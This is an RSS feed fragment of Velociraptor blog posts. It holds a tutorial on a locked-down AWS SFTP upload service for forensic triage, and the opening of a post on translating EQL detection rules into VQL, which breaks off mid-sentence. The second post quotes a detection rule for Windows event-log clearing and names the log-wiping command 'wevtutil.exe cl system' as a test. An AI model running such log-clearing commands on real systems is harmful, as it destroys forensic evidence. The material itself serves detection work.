&amp;quot;Action&amp;quot;: [&#xA;      &amp;quot;s3:PutObject&amp;quot;,&#xA;      &amp;quot;s3:PutObjectACL&amp;quot;&#xA;    ],&#xA;    &amp;quot;Resource&amp;quot;: &amp;quot;arn:aws:s3:::${transfer:HomeDirectory}*&amp;quot;&#xA;  }&#xA;]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34;note&#34;&gt;&lt;p&gt;I found that I needed to give the &lt;code&gt;s3:ListBucket&lt;/code&gt; permission in order&#xA;to upload files - this seems a bit strange to me but I could not get&#xA;upload to work without this permission. Despite having this&#xA;permission, it is still not possible to actually list the files in the&#xA;bucket anyway.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;aws-roles&#34;&gt;AWS Roles&lt;/h2&gt;&#xA;&lt;p&gt;An AWS role is a set of policies that applies to a particular&#xA;service. In this case I will create a new role that allows uploading&#xA;to the s3 bucket I created. Search for the &lt;a href=&#34;https://console.aws.amazon.com/iamv2/home#/roles&#34; target=&#34;_blank&#34; &gt;IAM&#xA;screen&lt;/a&gt; in the AWS&#xA;console and select &amp;ldquo;Create a new role&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;In the first step, the UI asks us to associate the role with a&#xA;service, Select the &lt;code&gt;Transfer&lt;/code&gt; as the service.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-12-11-sftp-in-aws//blog/2021/2021-12-11-sftp-in-aws/create_role_1.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Creating a new role&#34;&#xA;         width=&#34;1181&#34; height=&#34;524&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;create_role_1.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Creating a new role&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Next associate the role with the &lt;code&gt;velociraptor-upload-policy&lt;/code&gt;&#xA;policy. I will name the role &lt;code&gt;velociraptor-upload-role&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-12-11-sftp-in-aws//blog/2021/2021-12-11-sftp-in-aws/create_role_2.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Creating a new role - associating with policy&#34;&#xA;         width=&#34;1090&#34; height=&#34;711&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;create_role_2.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Creating a new role - associating with policy&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;creating-the-sftp-server&#34;&gt;Creating the SFTP server&lt;/h2&gt;&#xA;&lt;p&gt;Now I need to create an sftp server in the Transfer service. Search&#xA;for the &lt;a href=&#34;https://us-east-2.console.aws.amazon.com/transfer/home&#34; target=&#34;_blank&#34; &gt;AWS Transfer&#xA;Family&lt;/a&gt; screen&#xA;and select &amp;ldquo;Create Server&amp;rdquo;. I will choose this to be an SFTP server.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-12-11-sftp-in-aws//blog/2021/2021-12-11-sftp-in-aws/creating_sftp_server.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Creating the sftp server&#34;&#xA;         width=&#34;1181&#34; height=&#34;536&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;creating_sftp_server.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Creating the sftp server&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The identity provider is &amp;ldquo;Service managed&amp;rdquo; - this means I will manage&#xA;the sftp users with throwaway ssh keys.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-12-11-sftp-in-aws//blog/2021/2021-12-11-sftp-in-aws/sftp_server_2.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Creating the sftp server - Identity Providers&#34;&#xA;         width=&#34;1179&#34; height=&#34;511&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;sftp_server_2.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Creating the sftp server - Identity Providers&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Finally I will choose S3 to be our storage backend&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-12-11-sftp-in-aws//blog/2021/2021-12-11-sftp-in-aws/sftp_server_3.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Creating the sftp server - Backend storage&#34;&#xA;         width=&#34;1166&#34; height=&#34;458&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;sftp_server_3.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Creating the sftp server - Backend storage&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Once the server is created, the AWS console will remind us that no&#xA;users are added to the service yet. This will be our next task&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-12-11-sftp-in-aws//blog/2021/2021-12-11-sftp-in-aws/create_sftp_server_final.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Creating the sftp server - Success!&#34;&#xA;         width=&#34;1599&#34; height=&#34;477&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;create_sftp_server_final.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Creating the sftp server - Success!&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;adding-sftp-users-to-the-sftp-server&#34;&gt;Adding SFTP users to the sftp server.&lt;/h2&gt;&#xA;&lt;p&gt;Our ultimate goal is to create throw-away sftp users which can&#xA;authenticate to the service with an SSH key pair and upload triage&#xA;files.&lt;/p&gt;&#xA;&lt;p&gt;I will now create an SSH key pair on my machine - this will contain a&#xA;private key and a public key (Note: do not protect these keys with a&#xA;passphrase):&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-12-11-sftp-in-aws//blog/2021/2021-12-11-sftp-in-aws/generating_keys.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Generating SSH key pair for the new sftp user&#34;&#xA;         width=&#34;729&#34; height=&#34;612&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;generating_keys.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Generating SSH key pair for the new sftp user&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In the AWS console I select the new server and click on &amp;ldquo;Add user&amp;rdquo; to&#xA;add a new user.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-12-11-sftp-in-aws//blog/2021/2021-12-11-sftp-in-aws/adding_user.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Adding a new SFTP user&#34;&#xA;         width=&#34;888&#34; height=&#34;778&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;adding_user.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Adding a new SFTP user&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;I will add the &lt;code&gt;velociraptor-upload-role&lt;/code&gt; role I created earlier to&#xA;this sftp user, allowing the user to interact with the s3 bucket.&lt;/p&gt;&#xA;&lt;p&gt;I will now also add a &lt;code&gt;scope down policy&lt;/code&gt; to further restrict the&#xA;access this user has to upload only by selecting the&#xA;&lt;code&gt;velociraptor-sftp-upload-only&lt;/code&gt; policy.&lt;/p&gt;&#xA;&lt;p&gt;Next I will add the user&amp;rsquo;s public key to the AWS console&amp;rsquo;s&#xA;configuration by simply pasting the public key I generated earlier.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-12-11-sftp-in-aws//blog/2021/2021-12-11-sftp-in-aws/adding_public_key_to_user.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Adding a new SFTP user’s public keys&#34;&#xA;         width=&#34;892&#34; height=&#34;302&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;adding_public_key_to_user.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Adding a new SFTP user’s public keys&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Finally I create the new user with the name &lt;code&gt;velouploader&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices tip&#34;&gt;&#xA;  &lt;div heading=&#34; Creating users with different access &#34;&gt;&lt;p&gt;In our example I created a user with an upload only policy that could&#xA;not read any of the files in the bucket. However, you can also create&#xA;a user with full access to the bucket by removing the scope down policy&#xA;or apply a different policy per user.&lt;/p&gt;&#xA;&lt;p&gt;This is convenient to allow the investigator the ability to download&#xA;the collected files by creating a separate sftp user for them without&#xA;a scope-down policy.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;testing-access-controls&#34;&gt;Testing access controls&lt;/h2&gt;&#xA;&lt;p&gt;It is imperative to ensure that access controls are working the way&#xA;they are supposed to! Therefore I will now test my setup using the&#xA;built in sftp client in my operating system (I can find the endpoint&amp;rsquo;s&#xA;public DNS name using the AWS console).&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;sftp -i sftpuser.key velouploader@s-9d35031a046643d88.server.transfer.us-east-2.amazonaws.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-12-11-sftp-in-aws//blog/2021/2021-12-11-sftp-in-aws/testing_permissions.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Testing ACLs&#34;&#xA;         width=&#34;1334&#34; height=&#34;404&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;testing_permissions.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Testing ACLs&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;At first I upload a small file and confirm it works as expected. Then&#xA;I try to list the directory, and read the file out again - both&#xA;attempts fail due to the scope down policy.&lt;/p&gt;&#xA;&lt;p&gt;Finally attempting to overwrite the old file by re-uploading the same&#xA;file again, also fails.&lt;/p&gt;&#xA;&lt;h2 id=&#34;creating-an-sftp-offline-collector&#34;&gt;Creating an SFTP Offline Collector&lt;/h2&gt;&#xA;&lt;p&gt;I am now ready to create our offline collectors. I will login to&#xA;Velociraptor&amp;rsquo;s web UI and navigate to &lt;code&gt;Server Artifacts&lt;/code&gt; screen. Once&#xA;there I click the &lt;code&gt;Build Offline Collector&lt;/code&gt; button. For this example,&#xA;I will create a collector using the &lt;code&gt;Windows.KapeFiles.Targets&lt;/code&gt;&#xA;artifact and just collect the &lt;code&gt;$MFT&lt;/code&gt; file.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-12-11-sftp-in-aws//blog/2021/2021-12-11-sftp-in-aws/kapefiles_1.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Creating an offline collector&#34;&#xA;         width=&#34;1312&#34; height=&#34;900&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;kapefiles_1.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Creating an offline collector&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Now I will configure the collector to use the SFTP upload method,&#xA;giving the username I created earlier and pasting the private key I&#xA;generated.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-12-11-sftp-in-aws//blog/2021/2021-12-11-sftp-in-aws/kapefiles_2.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Configuring the offline collector for SFTP uploads&#34;&#xA;         width=&#34;1266&#34; height=&#34;886&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;kapefiles_2.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Configuring the offline collector for SFTP uploads&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;I selected the collection method to SFTP which changes the form to&#xA;allow for more parameters to be specified:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The Private key is the file I generated earlier with &lt;code&gt;ssh-keygen&lt;/code&gt; - I will just paste the file content into this form.&lt;/li&gt;&#xA;&lt;li&gt;The user is the sftp user that Velociraptor will log in as.&lt;/li&gt;&#xA;&lt;li&gt;The Endpoint is the DNS name of the sftp server I created followed&#xA;by a colon and the port number (usually port 22).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Once the collector is created I am able to run it on a test system.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-12-11-sftp-in-aws//blog/2021/2021-12-11-sftp-in-aws/kapefiles_3.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Running the collector to collect the MFT&#34;&#xA;         width=&#34;960&#34; height=&#34;701&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;kapefiles_3.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Running the collector to collect the MFT&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;As can be seen the upload is mostly fine except there are some&#xA;features that are not possible due to the restricted&#xA;permissions. Although, the log file shows a failure the file did&#xA;successfully upload as can be confirmed in the bucket view.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-12-11-sftp-in-aws//blog/2021/2021-12-11-sftp-in-aws/success.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Verifying files uploaded in the S3 bucket&#34;&#xA;         width=&#34;1619&#34; height=&#34;510&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;success.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Verifying files uploaded in the S3 bucket&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h1 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h1&gt;&#xA;&lt;p&gt;In this post I examined how to configure a secure SFTP upload service&#xA;in AWS that can safely receive triage data from the Velociraptor&#xA;offline collector.&lt;/p&gt;&#xA;&lt;p&gt;The sftp uploading functionality is actually implemented by the&#xA;&lt;code&gt;upload_sftp()&lt;/code&gt; plugin &lt;a href=&#34;https://www.velociraptor-docs.org/vql_reference/other/upload_sftp/&#34;&gt;documented here&lt;/a&gt;. This means that you can use&#xA;this functionality in any VQL query at all - either on the client side&#xA;or on the server side.&lt;/p&gt;&#xA;&lt;p&gt;For example it is possible to automatically back up server side hunts&#xA;or collections to the SFTP bucket.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>EQL to VQL - Leverage EQL based detection rules in Velociraptor</title>
      <link>https://www.velociraptor-docs.org/blog/2021/2021-11-09-eql2vql/</link>
      <pubDate>Tue, 09 Nov 2021 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2021/2021-11-09-eql2vql/</guid>
      <description>&#xA;&lt;div class=&#34;mynotices warning&#34;&gt;&#xA;  &lt;div heading=&#34; Outdated content &#34;&gt;&lt;p&gt;This article describes a threat detection approach that has since been&#xA;superseded by Velociraptor&amp;rsquo;s &lt;a href=&#34;https://www.velociraptor-docs.org/blog/2023/2023-11-15-sigma_in_velociraptor/&#34;&gt;built-in Sigma&#xA;functionality&lt;/a&gt;,&#xA;however it is retained here for historical and instructive purposes since it&#xA;also demonstrates how the flexibility of VQL makes novel solutions possible.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;p&gt;If you have been following the development of Velociraptor for a while&#xA;you are probably more than familiar with Velociraptor&amp;rsquo;s flexible query&#xA;language (VQL). Because Velociraptor is an agent running on the&#xA;endpoint, VQL facilitates access to all manners of data sources, from&#xA;event logs, event tracing for Windows (ETW) to live analysis and&#xA;triaging - all orchestrated using VQL as the flexible glue language.&lt;/p&gt;&#xA;&lt;p&gt;While VQL can be used for hunting or detection, many traditional&#xA;threat hunting platforms work by forwarding logs to a central location&#xA;and then running queries over the aggregate data from all&#xA;endpoints. There is a large body of existing work in detection queries&#xA;or threat intelligence feeds designed to work on top of a central data&#xA;mining solution such as Elastic or Splunk. We have been wondering for&#xA;a while how to make use of that existing logic within Velociraptor. By&#xA;reusing existing detection resources in different contexts, we are&#xA;able to enhance their overall effectiveness.&lt;/p&gt;&#xA;&lt;p&gt;In this post we discuss how to leverage detections targeting EQL (an&#xA;Elastic search query) within Velociraptor. I thought it would also be&#xA;interesting to discuss the main differences between more traditional&#xA;logs aggregation solutions (such as Elastic or Splunk) and&#xA;Velociraptor&amp;rsquo;s endpoint centric design.&lt;/p&gt;&#xA;&lt;h2 id=&#34;what-is-eql-anyway&#34;&gt;What is EQL anyway?&lt;/h2&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://www.elastic.co/blog/introducing-event-query-language&#34; target=&#34;_blank&#34; &gt;Event Query&#xA;Language&lt;/a&gt;&#xA;(EQL), is a query language designed to identify specific conditions in&#xA;collected telemetry from endpoints in order to implement detections of&#xA;anomalous behavior.&lt;/p&gt;&#xA;&lt;p&gt;EQL forms a central part of the Elastic detection platform and has a&#xA;large number of &lt;a href=&#34;https://github.com/elastic/detection-rules&#34; target=&#34;_blank&#34; &gt;existing detection&#xA;rules&lt;/a&gt;. It is also a&#xA;target for some other threat detection platforms, for example&#xA;&lt;a href=&#34;https://github.com/SigmaHQ/sigma&#34; target=&#34;_blank&#34; &gt;Sigma&lt;/a&gt; can generate EQL queries&#xA;from Sigma rules.&lt;/p&gt;&#xA;&lt;p&gt;By implementing EQL support for Velociraptor we can leverage the&#xA;existing resources and use them in a wider context - as we will see&#xA;below.&lt;/p&gt;&#xA;&lt;h2 id=&#34;how-do-eql-detections-work&#34;&gt;How do EQL detections work?&lt;/h2&gt;&#xA;&lt;p&gt;EQL detections are part of the wider Elastic solution - which is&#xA;pretty typical for traditional centrally processed SIEM based systems:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Events are collected from the endpoint using a collection&#xA;agent. Commonly the agent is&#xA;&lt;a href=&#34;https://www.elastic.co/beats/winlogbeat&#34; target=&#34;_blank&#34; &gt;winlogbeat&lt;/a&gt; collecting&#xA;&lt;a href=&#34;https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon&#34; target=&#34;_blank&#34; &gt;Sysmon&lt;/a&gt;&#xA;generated events, providing process execution logs, file and&#xA;registry modification events and DNS lookup events.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The data is transformed on the endpoint into a standard data schema&#xA;for transmission into the Elastic server. EQL relies on the data being in&#xA;&lt;a href=&#34;https://www.elastic.co/guide/en/ecs/current/index.html&#34; target=&#34;_blank&#34; &gt;Elastic Common&#xA;Schema&lt;/a&gt; so&#xA;it can be indexed by the backend.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The transformed data is received on the server and fed into large&#xA;scale data mining warehouse (e.g. The Elastic search server) where&#xA;it is aggregated and indexed.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Detection queries are applied on the data mining engine to detect&#xA;anomalies.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The following diagram illustrates the process&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-11-09-eql2vql//blog/2021/2021-11-09-eql2vql/eql_lifecycle.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Life of an EQL event&#34;&#xA;         width=&#34;960&#34; height=&#34;720&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;eql_lifecycle.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Life of an EQL event&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s work through a specific example of a Sysmon event as it works&#xA;its way through the EQL echo-system, eventually matching the&#xA;&lt;a href=&#34;https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_clearing_windows_event_logs.toml&#34; target=&#34;_blank&#34; &gt;following&#xA;detection&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-py&#34;&gt;process where event.type in (&amp;quot;process_started&amp;quot;, &amp;quot;start&amp;quot;) and&#xA;  (process.name : &amp;quot;wevtutil.exe&amp;quot; or process.pe.original_file_name == &amp;quot;wevtutil.exe&amp;quot;) and&#xA;    process.args : (&amp;quot;/e:false&amp;quot;, &amp;quot;cl&amp;quot;, &amp;quot;clear-log&amp;quot;) or&#xA;   process.name : (&amp;quot;powershell.exe&amp;quot;, &amp;quot;pwsh.exe&amp;quot;, &amp;quot;powershell_ise.exe&amp;quot;) and process.args : &amp;quot;Clear-EventLog&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The above rule is looking for process executions, where the&#xA;&lt;code&gt;wevtutil.exe&lt;/code&gt; program is run with command line arguments matching&#xA;&amp;ldquo;cl&amp;rdquo; or &amp;ldquo;clear-log&amp;rdquo; (Or the equivalent powershell)&lt;/p&gt;&#xA;&lt;p&gt;What happens when I run the command &lt;code&gt;wevtutil.exe cl system&lt;/code&gt; 